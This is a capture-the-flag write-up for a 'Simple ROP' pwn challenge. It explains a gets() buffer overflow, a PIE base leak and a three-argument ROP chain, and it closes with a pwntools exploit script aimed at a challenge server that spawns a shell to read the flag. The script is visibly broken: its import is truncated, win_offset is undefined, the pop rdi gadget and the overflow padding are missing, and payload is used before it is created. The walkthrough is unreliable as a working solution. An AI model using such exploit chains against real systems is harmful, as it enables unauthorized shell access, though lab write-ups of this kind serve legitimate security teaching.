Skip to main content

Simple ROP Writeup

Simple ROP Alpacahack — Writeup

Category: Pwn
Difficulty: Hard
Goal: Call

win(0xdeadbeefcafebabe, 0x1122334455667788, 0xabcdabcdabcdabcd)

to spawn a shell and read /flag.txt.


Understanding the Binary

The vulnerable code:

char buffer[64]; gets(buffer);

gets() allows unlimited input → buffer overflow vulnerability.

The win() function checks 3 arguments:

param1 == 0xdeadbeefcafebabe param2 == 0x1122334455667788 param3 == 0xabcdabcdabcdabcd

If all pass → /bin/sh is executed.


Security Protections

From checksec:

Arch: amd64 RELRO: Full RELRO Stack: No canary NX: Enabled PIE: Enabled SHSTK: Enabled IBT: Enabled

What matters:

  • No canary → we can overflow safely

  • NX enabled → cannot inject shellcode

  • PIE enabled → addresses change every run

So we must use ROP.


Why This Is a ROP Challenge

The binary conveniently includes gadgets:

 pop rdi ; ret
    pop rsi ; ret
    pop rdx ; ret` 

On x86_64 Linux, function arguments go into registers:

Argument Register 1st -rdi 2nd -rsi 3rd -rdx

So to call:

`win(A, B, C)` 

We must control:

`rdi = A rsi = B rdx = C` 

Finding the Offset

Stack layout:

 `[ buffer (64 bytes) ]  
  [ saved rbp (8)      ] 
  [ return address     ]` 

So:

`64 + 8 = 72  bytes` 

Offset to RIP = 72 bytes


Dealing With PIE

Since PIE is enabled, addresses change every run.

But the program prints:

 printf("address of win function: %p\n", win);

This leaks the runtime address of win.

So we can calculate the PIE base:

`pie_base = win_runtime - win_offset`

Then compute gadget addresses using that base.


Final Exploit Script

    from pwn import 
    
    elf = ELF("./chal")
    rop = ROP(elf)
    
    p = remote("34.170.146.252", 31441) # p = process("./chal")  
    win_runtime = int(p.recvline().strip(), 16)
    
    log.info(f"win runtime: {hex(win_runtime)}") 
    pie_base = win_runtime - win_offset
    
    log.info(f"PIE base: {hex(pie_base)}") 
    pop_rsi_offset = rop.find_gadget(['pop rsi', 'ret'])[0]
    pop_rdx_offset = rop.find_gadget(['pop rdx', 'ret'])[0] 
    pop_rsi = pie_base + pop_rsi_offset
    pop_rdx = pie_base + pop_rdx_offset 
    payload += p64(0xdeadbeefcafebabe)
    payload += p64(pop_rsi)
    payload += p64(0x1122334455667788)
    payload += p64(pop_rdx)
    payload += p64(0xabcdabcdabcdabcd)
    payload += p64(win_runtime)
    
    p.sendlineafter("input > ", payload)
    p.interactive()` 

Getting the Flag

Once the shell spawns:

cat /flag.txt